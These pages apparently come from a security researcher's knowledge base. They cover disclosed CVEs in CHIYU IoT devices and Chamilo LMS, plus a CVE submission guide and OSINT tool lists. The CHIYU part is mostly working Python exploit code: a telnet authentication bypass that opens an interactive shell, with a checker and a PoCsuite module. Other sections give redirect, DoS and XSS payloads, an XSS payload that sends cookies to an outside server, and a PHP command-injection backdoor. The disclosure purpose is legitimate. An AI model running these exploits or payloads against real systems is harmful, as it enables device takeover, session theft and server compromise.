From now, all of the shipment has the latest firmware.&#x20;

The firmware will close telnet.

if you want to upgrade your converter's firmware, please contact CHIYU for upgrading.&#x20;
{% endhint %}

![](/files/-Mayh9YXpgDD4yPeFLQc)

### **Checker and Exploit**

{% tabs %}
{% tab title="Checker" %}

```
# Exploit Title:  (Checker) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges
# Date: June 01 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC  
#CVE: CVE-2021-31251
#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

"""
Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""

#!/usr/bin/env python3

#usage : python3 checker.py -t IP 
#usage1: python3 checker.py -f target.txt


import socket
import time
import sys

def checker(HOST, PORT):
    socket.setdefaulttimeout(10)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        connect = s.connect_ex((HOST, PORT))
        try:
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            result = s.recv(1024).strip()
            if result != b'\xff\xfe\x01':
                s.send(b"\x09")
                result = s.recv(1024).strip()
            s.close()

            if connect == 0 and "sername" not in str(result):
                if b"\xff\xfe\x01" == result:
                    print("[+] " + HOST + " is vulnerable to CVE-2021-31251!")

        except KeyboardInterrupt:
            s.close()

        except EOFError:
            s.close()

    except socket.error:
        print("[-] " + host + " NOT vulnerable!")
        return 0


opt = sys.argv[1]

if opt == "-t":
    HOST = sys.argv[2]
    PORT = 23
elif opt == "-f":
    PORT = 23
    with open(sys.argv[2]) as f:
        targets = [line.rstrip() for line in f]
else:
    print("Check the parameters before execution the checker.")
    exit(1)

if opt == "-t":
    checker(HOST, PORT)
else:
    for host in targets:
        if host:
            checker(host, PORT)


```

{% endtab %}

{% tab title="Exploit" %}

```
# Exploit Title:  (Exploit) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges
# Date: June 01 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC  
#CVE: CVE-2021-31251
#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

"""
Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""

#!/usr/bin/env python3

# usage: python3 exploit.py IP

import socket
import time
import sys

HOST = sys.argv[1]
PORT = 23

socket.setdefaulttimeout(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect = s.connect_ex((HOST, PORT))
    try:
        print("[+] Try to connect...\n")
        time.sleep(1)
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        result = s.recv(1024).strip()
        if result != b'\xff\xfe\x01':
            s.send(b"\x09")
            result = s.recv(1024).strip()

        if connect == 0 and "sername" not in str(result):
            if b"\xff\xfe\x01" == result:
                print("Connected! ;)\ntype: \"help\"\n\n")
                while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd+"\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')

                        if not len(result):
                            print("[+] CHIYU device not available, try again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))
    except KeyboardInterrupt:
        print("\n[+] ^C Received, closing connection")
        s.close()
    except EOFError:
        print("\n[+] ^D Received, closing connection")
        s.close()

except socket.error:
    print("[+] Unable to connect to CHIYU device.")

```

{% endtab %}

{% tab title="PoCsuite" %}

```
import re
from collections import OrderedDict
import socket
from pocsuite3.api \
    import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, get_listener_ip, get_listener_port
from pocsuite3.lib.core.interpreter_option \
    import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
from pocsuite3.modules.listener import REVERSE_PAYLOAD


class DemoPOC(POCBase):
    vulID = 'CVE-2021-31251'
    version = '1'
    author = 'sirpedrotavares'
    vulDate = '2021-04-15'
    createDate = '2021-04-15'
    updateDate = '2021-04-15'
    references = ['https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks']
    name = 'pwnCHIYU'
    appPowerLink = 'https://www.chiyu-tech.com'
    appName = 'CHIYU telnet'
    appVersion = 'Telnet service (all versions)'
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS
    category = POC_CATEGORY.TOOLS.CRACK
    protocol = POC_CATEGORY.PROTOCOL.TELENT
    samples = []
    install_requires = []
    desc = '''
           An authentication bypass in telnet server from CHIYU Technology Inc devices allows obtaining a privileged
           connection with the target device by supplying a specially malformed request.  
        '''
    pocDesc = ''' 
            Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the
            telnet authentication process due to an overflow during the negotiation of the telnet protocol.
            Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may
            force the remote telnet server to believe that the user has already authenticated. Several models
            are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.
        '''

    def _verify(self):
        output = Output(self)
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 23

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(10)

        try:
            connect = s.connect_ex((host, int(port)))
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            aux = s.recv(1024).strip()
            if aux != b'\xff\xfe\x01':
                s.send(b"\x09")
                aux = s.recv(1024).strip()

            s.close()

            if connect == 0 and "sername" not in str(aux):
                if b"\xff\xfe\x01" == aux:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['rhost'] = self.url
                    return self.parse_attack(result)
                else:
                    result['VerifyInfo'] = {}
                    return self.parse_attack(None)
            else:
                return self.parse_attack(None)
        except socket.error:
            return self.parse_attack(None)

    def _attack(self):
        output = Output(self)
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 23

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(10)

        try:
            connect = s.connect_ex((host, int(port)))
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            s.recv(1024).strip()
            s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
            aux = s.recv(1024).strip()
            if aux != b'\xff\xfe\x01':
                s.send(b"\x09")
                aux = s.recv(1024).strip()

            if connect == 0 and "sername" not in str(aux):
                if b"\xff\xfe\x01" == aux:
                    print("Connected! ;)\ntype: \"help\"\n\n")
                    while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd + "\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')

                        if not len(result):
                            print("[+] CHIYU device not available, try again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))

        except Exception as e:
            output.fail('target is not vulnerable:' + str(e))
        except KeyboardInterrupt:
            output.success({})
        except EOFError:
            output.success({})
        else:
            output.success({})

        return output

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')

        return output


register_poc(DemoPOC)
```

{% endtab %}
{% endtabs %}

## CVE-2021-31252

{% hint style="success" %}
**Title:** Open redirect vulnerability in CHIYU IoT devices\
**Vulnerability:** Open Redirect\
**CVE ID:** [CVE-2021-31252](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31252)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
{% endhint %}

An open redirect vulnerability exists in BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, and SEMAC devices from CHIYU Technology that can be exploited by sending a link that has a specially crafted URL to convince the user to click on it.

To exploit this vulnerability, an attacker can inject an arbitrary URL and convince the end-user to click on the link redirecting it to a page with malicious content. All the CGI components are affected by this flaw.

**Affected parameter:** redirect=\
**Component:** all the CGI components (if.cgi, man.cgi, etc)\
**Payload:** `redirect=http://127.0.0.1/exploit.htm`

**HTTP request**

```
GET /if.cgi?redirect=http://192.168.187.201/exploit.htm&failure=fail.htm&type=serial_apply&S_type=2&S_baud=3&S_userdefine=0&S_data=3&S_parity=0&S_stop=0&S_flowcontrol=0&S_timeout=0&S_length=0&S_delimiter1=00&S_deli_en1=0&S_delimiter2=00&S_deli_en2=0&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/serial.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

![](/files/-Mayer_GwMz64JbbIcZd)

**HTTP response**

![](/files/-MayeumB_i4mRzRKjt_n)

**Impact:** Open Redirect is due to the improper sanitization of input that can be used to redirect users to external websites.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31641**

{% hint style="success" %}
**Title:** Unauthenticated XSS in several CHIYU IoT devices\
**Vulnerability:** Reflected XSS\
**CVE ID:** [CVE-2021-31641](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31641)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
{% endhint %}

An unauthenticated XSS vulnerability exists in several IoT devices from CHIYU Technology, including BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC. The vulnerability was observed also on more recent firmware versions.

**Component:** any argument passed via URL that results in an HTTP-404\
**Payload:** `http://ip/<script>alert(123)</script>`

**HTTP request**

![](/files/-MaykOVqftIfAt-Kytco)

&#x20;**HTTP response**

![](/files/-MaykUqXhwU-icXZ-9oH)

**ExploitDB:** [**https://www.exploit-db.com/exploits/49922**](https://www.exploit-db.com/exploits/49922)

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

**Impact:** This vulnerability is due to the improper sanitization of input when the HTTP-404 page is presented and that can be abused to redirect users to external websites.

**Mitigation**: The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31642**

{% hint style="success" %}
**Title:** Denial of Service in several CHIYU IoT devices affecting the web-portal\
**Vulnerability:** Integer overflow\
**CVE ID:** [CVE-2021-31642](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31642)\
**CVSS**: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
{% endhint %}

A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.

**Affected parameter:** page=\
**Component: if.cgi**\
**Payload:** `if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000`

**HTTP request**

```
GET /if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
```

![](/files/-Maylawl6XRUo-7ziNd3)

&#x20;**HTTP response**

![](/files/-Maylf--e6ckX49R_A2X)

After the request, the web portal will be unavailable until a device reboot.

\
**ExploitDB:** [**https://www.exploit-db.com/exploits/49937**](https://www.exploit-db.com/exploits/49937)

{% embed url="<https://www.exploit-db.com/exploits/49937>" %}

**Impact**: Device crash and web portal unavailable.

**Mitigation**: The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31643**

{% hint style="success" %}
**Title:** Stored XSS in CHIYU SEMAC, BF-630, BF-631, and Webpass IoT devices\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-31643](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31643)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
{% endhint %}

A storage XSS flaw was discovered on SEMAC, Biosense, BF-630, BF-631, and Webpass IoT devices from CHIYU Technology Inc due to a lack of sanitization of the input on the component if.cgi - username parameter.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on the if.cgi component to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

**Affected parameter:** username=\
**Component: if.cgi**\
**Payload:** `"><script>alert(1)</script>`

**HTTP request**

![](/files/-Maymj92Y0OqVwy0lAee)

&#x20;**HTTP response - SEMAC Web Ver7.2**

```
GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=0000&MarkID=0000&CardID=000000&username=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2021&SM=2&SD=7&sy_h=16&sy_m=23&EY=2021&EM=2&ED=7&sy_h=16&sy_m=23&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=0&card=116&card=9&card=138 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=; remote=00000000
Upgrade-Insecure-Requests: 1
```

![](/files/-MaymnD8KoYRRVV-_Uud)

&#x20;**HTTP response - BIOSENSE-III-COMBO(M1)(20000)**

```
GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=3&MarkID=3474&CardID=00000000&emp_id=&username=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2019&SM=11&SD=25&sy_h=15&sy_m=0&EY=2019&EM=11&ED=25&sy_h=15&sy_m=0&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=118&card=5&card=101&card=110 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
```

![](/files/-Maymrtpi4fj522WKzJ0)

**ExploitDB:** [**https://www.exploit-db.com/exploits/49922**](https://www.exploit-db.com/exploits/49922)

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

**Impact:**  The attacker places their exploit into the application itself and simply waits for users to encounter it.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **References**

{% embed url="<https://www.chiyu-tech.com/msg/msg88.html>" %}

{% embed url="<https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks>" %}

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

{% embed url="<https://www.exploit-db.com/exploits/49923>" %}

{% embed url="<https://www.exploit-db.com/exploits/49936>" %}

{% embed url="<https://www.exploit-db.com/exploits/49937>" %}


# Chamilo-lms-1.11.x - From XSS to account takeover && backdoor implantation

Set of vulnerabilities found on the Chamilo-lms-1.11.x version.

## [**CVE-2021-37391** ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37391)**-  From Stored XSS to account takeover**

{% hint style="success" %}
**Title:** From Stored XSS to account takeover\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-37391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37391)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N
{% endhint %}

A user without privileges in Chamilo LMS 1.11.x can send an invitation message to another user, e.g., the administrator, through **main/social/search.php, main/inc/lib/social.lib.php** and steal cookies or execute arbitrary code on the administration side via a stored XSS vulnerability via social network the send invitation feature.

**Proof-of-Concept**

A guest user without privileges on the Chamilo LMS could send an invitation with a malicious message that could put at risk the administrator's privacy. Basically, it was possible to take advantage of a stored XSS vulnerability and stole the authentication token of another user - in this case, the administrator. This scenario could be abused to get access over the administrator account (takeover).

![](/files/-MgltwMQ7TB4dKRUmvp2)

\
After that, click on "**Send message**" button.

On the admin side, the payload is executed by opening the invitations panel on the left menu.

![](/files/-MglvK1iHxbVlw_kLaYC)

By using a custom payload, it was possible to get the administrator's cookie and clone their session.

```
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
```

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

**Mitigation**: Update the Chamilo to the latest version.\
\
**Fix**: <https://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8>&#x20;

**ExploitDB**: <https://www.exploit-db.com/exploits/50694>

## [CVE-2021-37390 ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)-  **Reflected XSS search mechanism**&#x20;

{% hint style="success" %}
**Title:** Reflected XSS search mechanism \
**Vulnerability:** Reflected XSS\
**CVE ID:** [CVE-2021-37390](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
{% endhint %}

A Chamilo LMS 1.11.14 reflected XSS vulnerability exists in **main/social/search.php=q** URI (social network search feature).

![](/files/-Mglx19nAKXKZPufadJC)

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

**Mitigation:** Update the Chamilo to the latest version.

**Fix**: <https://github.com/chamilo/chamilo-lms/commit/3fcc751d5cc7da311532a8756fba5a8778f50ca0>

## CVE-2021-37389 - From Stored XSS to PHP backdoor implantation

{% hint style="success" %}
**Title:** From Stored XSS to PHP backdoor implantation\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-37389](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37390)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
{% endhint %}

Chamilo 1.11.14 allows stored XSS via **main/install/index.php** and **main/install/ajax.php** through the **port parameter**.

![](/files/-MglycdEaps2tLnxTiQl)

![](/files/-Mgm-atvaNfqTTGy5Tm-)

As expected, the sent **payload will be stored on the config.php** file on the web-server. As this parameter was not validated in the right way, it could be abused to implant a PHP backdoor on the web-server by using the port parameter to inject the malicious payload presented below.

![](/files/-MgmDvU_hLhZUHxwA8nr)

**Target payload:**

```
3306';echo system($_GET["cmd"]);
```

{% hint style="warning" %}
The values will be written into your configuration file **app/config/configuration.php** :sunglasses:&#x20;
{% endhint %}

![](/files/-MgmFaBHEOsnSEnlTtNW)

We got it :sunglasses:&#x20;

```
http://localhost/chamilo/app/config/configuration.php?cmd=id
```

![](/files/-MgmFPtidTvhZR-6k7nH)

### BONUS: Another XSS's

During the installation process, a lot of fields are also vulnerable to stored XSS, namely:

* **Administrator login**
* **Administrator first name**
* **Administrator last name**
* **Administrator email**
* **Your personal name; and**
* **Your company short name**

![](/files/-Mgm01V9U8iJBh1csr0C)

As a result, the payloads are stored in the database and reflected on the website.

![](/files/-Mgm0Mz5ny9tV6rcqpwd)

**Impact:** By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

In addition, the port parameter can be also used to implant a PHP backdoor on the web-server.

**Mitigation:** Update the Chamilo to the latest version.

**Fix**: <https://github.com/chamilo/chamilo-lms/commit/dfae49f5dc392c00cd43badcb3043db3a646ff0c>

{% embed url="<https://support.chamilo.org/projects/1/wiki/Security_issues>" %}


# CVE - Submission Guides

Everything you need to know about MITRE  CVE program and your CVE requests.

If you have submitted or you are going to submit a new CVE, this is something you need to know in advance:

{% hint style="success" %}

* You should add ***cve-request \[at] mitre.org*** and ***cve \[at] mitre.org*** as safe senders in your email client before completing this form.
* Next, you will receive the automatic email from ***cve-request \[at] mitre.org*** with the subject: "**CVE Request&#x20;*****xxxxxx*****&#x20;for CVE ID Reques**t".
* From here, arm yourself with patience and wait a little more! Your request will be picked up but that is a time-consuming process: sometimes it takes some days and sometimes it takes a month (depending on the type of vulnerability, vendor, and so on).
  {% endhint %}

{% embed url="<https://www.youtube.com/watch?v=5l4cxDw8lHc&ab_channel=CVEProgram>" %}

{% embed url="<https://warroom.rsmus.com/beginners-guide-cve-process/>" %}

{% embed url="<https://security.stackexchange.com/questions/172243/cve-submission-process>" %}

{% embed url="<https://infosecwriteups.com/how-to-register-and-publish-a-cve-for-your-awesome-vulnerability-e68a6a5f748f>" %}

{% embed url="<https://cve.mitre.org/about/documents.html>" %}

{% embed url="<https://ssd-disclosure.com/>" %}

{% embed url="<https://www.zerodayinitiative.com/>" %}

{% embed url="<https://www.exodusintel.com/>" %}

{% embed url="<https://www.seebug.org/contribute/vul>" %}


# Tools

{% content-ref url="/pages/-MX2fqWxNGmUANLoNdCH" %}
[OSINT](/tools/osint)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2kpvhW0nrvuftaiWr" %}
[DNS](/tools/dns)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2d57GMxs8rSrQxXZl" %}
[WEB](/tools/web-and-and-dns)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2g1-riTPOqQMom5iv" %}
[Infrastructure and Network](/tools/infrastructure-and-network)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2gG\_4-q6FpiYiRE9g" %}
[Privilege Escalation](/tools/privilege-escalation)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2gVByYrmwYugzedgK" %}
[Exfiltration](/tools/exfiltration)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2gg-xbb1-EqXhz3rZ" %}
[Persistence](/tools/persistence)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2gouwinJyUg5TVcvk" %}
[Password & Cracking](/tools/password-and-cracking)
{% endcontent-ref %}

{% content-ref url="/pages/-MX2gywp903csFI\_jlH2" %}
[Reporting](/tools/reporting)
{% endcontent-ref %}


# Intel

## Exploits

{% embed url="<https://github.com/s0md3v/Smap>" %}

{% embed url="<https://sploitus.com/?query=sirpedrotavares#exploits>" %}

{% embed url="<https://www.exploit-db.com>" %}

{% embed url="<https://gtfobins.github.io/#+shell>" %}

{% embed url="<https://skidsearch.net>" %}

## Assets / Domains / PII

{% embed url="<https://spyse.com>" %}

{% embed url="<https://intelx.io/tools>" %}

{% embed url="<https://leakix.net>" %}

{% embed url="<https://censys.io>" %}

{% embed url="<https://www.shodan.io/dashboard>" %}

{% embed url="<https://www.zoomeye.org>" %}

{% embed url="<https://www.infobyip.com>" %}

{% embed url="<https://whois.domaintools.com>" %}

{% embed url="<https://securitytrails.com/dns-trails#/>" %}

{% embed url="<http://viewdns.info>" %}

{% embed url="<https://dnsdumpster.com>" %}

{% embed url="<https://subdomainfinder.c99.nl>" %}

{% embed url="<https://github.com/cybertoolbank/hidend>" %}

![](/files/DfOvNtrH1bj8UiKh93Ds)

{% embed url="<https://www.kali.org/tools/fierce>" %}

```
fierce --domain domain.yzy 
```

{% embed url="<https://exchange.xforce.ibmcloud.com/search>" %}

{% embed url="<https://hypestat.com>" %}

{% embed url="<https://mxtoolbox.com>" %}

{% embed url="<https://archive.org/web>" %}

{% embed url="<https://arquivo.pt>" %}

{% embed url="<https://canarytokens.org/generate>" %}

## Buckets

{% embed url="<https://osint.sh/buckets>" %}

{% embed url="<https://buckets.grayhatwarfare.com>" %}

## Fake email & SMS

{% embed url="<https://smsreceivefree.com>" %}

{% embed url="<https://smailpro.com>" %}

{% embed url="<https://emkei.cz>" %}

## Spam Database Lookup / Blacklist

{% embed url="<https://www.dnsbl.info/dnsbl-database-check.php>" %}

{% embed url="<https://www.barracudacentral.org/lookups/lookup-reputation>" %}

{% embed url="<http://www.kloth.net/services/dnsbl.php>" %}

{% embed url="<https://talosintelligence.com>" %}


# OSINT

## Main Tools

[**FavFreak:**](https://github.com/devanshbatham/FavFreak) Weaponizing favicon.ico for BugBounties , OSINT and what not.

```
$ git clone https://github.com/devanshbatham/FavFreak
$ cd FavFreak
$ virtualenv -p python3 env
$ source env/bin/activate
$ python3 -m pip install mmh3
$ cat urls.txt | python3 favfreak.py 
```

{% tabs %}
{% tab title="Result - hashes" %}

```
$ cat urls.txt | python3 favfreak.py -o output
```

![](/files/-MWzntMRyXFUsRqr0HhI)
{% endtab %}

{% tab title="Pwning with Shodan" %}
http.favicon.hash:\[Favicon hash here]

![](/files/-MWznzRmX_Ftp4qAfRkj)

```
$ shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```

![](/files/-MWzoPv04TlQq6ix5WKR)
{% endtab %}
{% endtabs %}

Reference: <https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139>

&#x20;[**Goohak**](https://github.com/1N3/Goohak)**:** Automatically launch google hacking queries against a target domain to find vulnerabilities and enumerate a target.

```
./goohak domain.com
```

[ **Smap**](https://github.com/s0md3v/Smap): passive Nmap like scanner built with shodan.io.

![](/files/9S65cpTwvY4nB7ZEupHJ)

{% embed url="<https://github.com/s0md3v/Smap>" %}

[**urlhunter**](https://github.com/utkusen/urlhunter): urlhunter is a recon tool that allows searching on URLs that are exposed via shortener services such as bit.ly and goo.gl. The project is written in Go.

{% embed url="<https://youtu.be/Ct086YRm7i8>" %}

[**//grep.app**](https://gitbook.seguranca-informatica.pt/tools/grep.app)**:** Search across a half million git repos.

![](/files/-MYUMHqiRPK1DvNkKpv5)

[**domain-check-2**](https://github.com/nixcraft/domain-check-2)**:** Domain Expiration Check Shell Script Forked and Maintained by nixCraft.

[**dns-domain-expiration-checker**](https://github.com/Matty9191/dns-domain-expiration-checker)**:** Send notifications when DNS domains are about to expire.

{% embed url="<https://www.expireddomains.net/>" %}

